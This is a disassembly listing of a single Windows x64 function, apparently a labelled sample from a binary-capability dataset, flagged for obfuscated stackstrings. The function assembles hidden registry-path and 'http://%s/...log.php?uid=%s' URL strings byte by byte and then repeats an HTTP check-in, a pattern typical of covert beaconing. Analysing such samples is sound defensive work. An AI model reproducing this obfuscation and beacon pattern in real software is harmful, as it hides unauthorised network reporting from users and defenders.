Function at 0x140012160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x288]
sub rsp, 0x360
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140158280]
xor rax, rsp
mov qword [rbp + 0x250], rax
movzx r13d, cl
mov dword [rbp - 0x48], 0x74666f53
mov dword [rbp - 0x41], 0x55455c65
mov word [rbp - 0x3d], 0x4b44
mov word [rbp - 0x44], 0x6177
mov byte [rbp - 0x3b], 0
mov byte [rbp - 0x42], WSAStartup
call fcn.140016610
mov rdx, rax
xor r12d, r12d
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x1400121e8
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x38], rbx
lea rcx, [rbp - 0x48]
lea rax, [rbp - 0x48]
or r14, 0xffffffffffffffff
test rax, 0xffffffffffff0000
jne 0x14001223d
movzx edi, cx
xor edx, edx
mov ecx, edi
call fcn.14000f2d0
test rax, rax
je 0x14001231c
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.14001a150
mov rbx, qword [rsp + 0x38]
jmp 0x14001231c
lea rax, [rbp - 0x48]
mov rdi, r14
inc rdi
cmp byte [rax + rdi], 0
jne 0x140012244
test edi, edi
jne 0x1400122a9
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x14001231c
cmp dword [rdx + 0x10], 0
jge 0x140012285
cmp dword [rbx - 0xc], 0
jge 0x140012279
mov ecx, 0x80070057
call fcn.14000f440
int3
mov dword [rbx - 0x10], r12d
mov byte [rbx], 0
jmp 0x14001231c
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140012295
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x38], rbx
jmp 0x14001231c
mov r15d, dword [rbx - 0x10]
lea rsi, [rbp - 0x48]
sub rsi, rbx
test edi, edi
jns 0x1400122c3
mov ecx, 0x80070057
call fcn.14000f440
int3
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x1400122e5
mov edx, edi
lea rcx, [rsp + 0x38]
call fcn.14001ba70
mov rbx, qword [rsp + 0x38]
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
cmp rsi, r15
movsxd r15, edi
mov r9, r15
ja 0x140012302
lea r8, [rsi + rbx]
call fcn.140072b90
jmp 0x14001230b
lea r8, [rbp - 0x48]
call fcn.1400707c4
cmp edi, dword [rbx - 0xc]
jg 0x1400128d8
mov dword [rbx - 0x10], edi
mov byte [r15 + rbx], 0
mov byte [rbp + 0x30], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x31]
call fcn.140071640
mov edx, 0x104
lea rcx, [rbp + 0x30]
call fcn.1400145d0
call fcn.140016610
mov rdx, rax
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x14001235f
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x40], rdi
lea rcx, [rbp + 0x30]
lea rax, [rbp + 0x30]
test rax, 0xffffffffffff0000
jne 0x1400123ab
movzx edi, cx
xor edx, edx
mov ecx, edi
call fcn.14000f2d0
test rax, rax
je 0x140012492
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14001a150
jmp 0x140012492
lea rax, [rbp + 0x30]
mov rsi, r14
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400123b2
test esi, esi
jne 0x14001241c
lea rdx, [rdi - 0x18]
mov rsi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x140012492
cmp dword [rdx + 0x10], 0
jge 0x1400123f3
cmp dword [rdi - 0xc], 0
jge 0x1400123e7
mov ecx, 0x80070057
call fcn.14000f440
int3
mov dword [rdi - 0x10], r12d
mov byte [rdi], 0
jmp 0x140012492
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140012403
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rbx, qword [rsp + 0x38]
jmp 0x140012492
mov r12d, dword [rdi - 0x10]
lea r15, [rbp + 0x30]
sub r15, rdi
test esi, esi
jns 0x140012436
mov ecx, 0x80070057
call fcn.14000f440
int3
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, esi
or eax, ecx
jge 0x140012458
mov edx, esi
lea rcx, [rsp + 0x40]
call fcn.14001ba70
mov rdi, qword [rsp + 0x40]
movsxd rdx, dword [rdi - 0xc]
mov rcx, rdi
cmp r15, r12
movsxd r12, esi
mov r9, r12
ja 0x140012475
lea r8, [r15 + rdi]
call fcn.140072b90
jmp 0x14001247e
lea r8, [rbp + 0x30]
call fcn.1400707c4
cmp esi, dword [rdi - 0xc]
jg 0x1400128cd
mov dword [rdi - 0x10], esi
mov byte [r12 + rdi], 0
xor r12d, r12d
lea r8, [0x140124db0]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.14000e9f0
nop
lea r8, [rsp + 0x38]
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14000e870
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14001250f
cmp dword [rbx + 0x10], 0
jl 0x140012500
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140012500
call fcn.140012a20
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x1400124f5
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.WS2_32.dll_htonl + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x38], rax
jmp 0x14001250f
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x38]
call fcn.140024eb0
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140012528
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140012542
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001255b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x50], 4
mov dword [rsp + 0x4c], 4
mov dword [rbp - 0x28], 0x696570
mov dword [rbp - 0x37], 0x65747379
mov dword [rbp - 0x2f], 0x6e6f464b
mov dword [rbp - 0x33], 0x4455456d
mov word [rbp - 0x2b], 0x5474
mov byte [rbp - 0x38], 0x53
mov byte [rbp - 0x29], 0x79
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c]
lea r8, [rbp - 0x38]
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov rcx, 0xffffffff80000003
call fcn.1400374a0
cmp dword [rsp + 0x48], 1
jne 0x1400128b7
lea rcx, [rsp + 0x30]
call fcn.14002d950
nop
call fcn.140016610
mov rdx, rax
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x140012601
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x58], rax
test r13b, r13b
je 0x1400126cf
mov dword [rbp + 0x1d], 0x253d6469
mov dword [rbp + 8], 0x70747468
mov dword [rbp + 0x14], 0x2e676f6c
mov dword [rbp + 0xd], 0x252f2f3a
mov dword [rbp + 0x23], 0x73253d6d
mov dword [rbp + 0x18], 0x3f706870
mov word [rbp + 0x27], 0x7326
mov byte [rbp + 0xc], reloc.WS2_32.dll_WSAStartup
mov word [rbp + 0x11], 0x2f73
mov word [rbp + 0x21], 0x2673
mov word [rbp + 0x2a], Ordinal_50
mov byte [rbp + 0x1c], 0x75
mov byte [rbp + 0x13], 0x69
mov byte [rbp + 0x29], 0x3d
lea rcx, [rsp + 0x60]
call fcn.140041c20
mov rbx, rax
movzx edx, r13b
lea rcx, [rsp + 0x70]
call fcn.1400166f0
nop
lea rcx, str.9f5fb9578b66491e8e35bcb76046e5e5
mov qword [rsp + 0x20], rcx
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x58]
call fcn.140013110
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400126c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x60]
jmp 0x140012786
mov dword [rbp - 0x1a], 0x73252f2f
mov word [rbp - 0xe], 0x3f70
mov dword [rbp - 0x1f], 0x73707474
mov word [rbp - 3], 0x7326
mov word [rbp - 8], 0x7026
mov word [rbp - 0x15], 0x6c69
mov word [rbp], Ordinal_50
mov word [rbp - 0xb], 0x253d
mov word [rbp - 6], 0x253d
mov byte [rbp - 0x16], Ordinal_50
mov dword [rbp - 0x13], 0x702e676f
mov byte [rbp - 1], 0x3d
mov byte [rbp - 4], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0xf], 0x68
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0x20], 0x68
mov byte [rbp - 0x1b], Ordinal_60
mov byte [rbp - 9], reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp - 0x80]
call fcn.140041c20
mov rbx, rax
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.1400166f0
nop
lea rcx, str.9f5fb9578b66491e8e35bcb76046e5e5
mov qword [rsp + 0x20], rcx
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x58]
call fcn.140013110
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140012782
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001279a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov esi, r12d
mov rbx, qword [rsp + 0x58]
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + 0x140], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x141]
call fcn.140071640
mov edx, 0x104
lea rcx, [rbp + 0x140]
call fcn.1400145d0
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x58], r12
mov byte [rbp - 0x68], 0
lea r8, [rbp - 0x68]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14002e1c0
test al, al
je 0x14001285d
lea rcx, [rbp - 0x68]
mov r12, qword [rbp - 0x68]
mov r15, qword [rbp - 0x50]
cmp r15, 0x10
cmovae rcx, r12
mov r8d, 1
mov rdi, qword [rbp - 0x58]
cmp rdi, r8
cmovb r8, rdi
test r8, r8
jne 0x14001282f
xor eax, eax
jmp 0x14001283b
lea rdx, [0x140124df4]
call fcn.140071560
cdqe
test rax, rax
jne 0x140012856
cmp rdi, 1
jae 0x14001284d
mov eax, r14d
jmp 0x140012856
xor eax, eax
cmp rdi, 1
setne al
test eax, eax
je 0x140012884
xor r12d, r12d
mov ecx, 0x3e8
call fcn.140037900
nop
cmp qword [rbp - 0x50], 0x10
jb 0x140012878
mov rcx, qword [rbp - 0x68]
call fcn.14006e9f4
inc esi
cmp esi, 6
jge 0x140012893
jmp 0x1400127b0
cmp r15, 0x10
jb 0x140012893
mov rcx, r12
call fcn.14006e9f4
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400128a8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rsp + 0x30]
call fcn.14002d9e0
mov rbx, qword [rsp + 0x38]
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400128e3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1400128e3
mov ecx, 0x80070057
call fcn.14000f440
nop
mov ecx, 0x80070057
call fcn.14000f440
nop
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.14006ed70
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret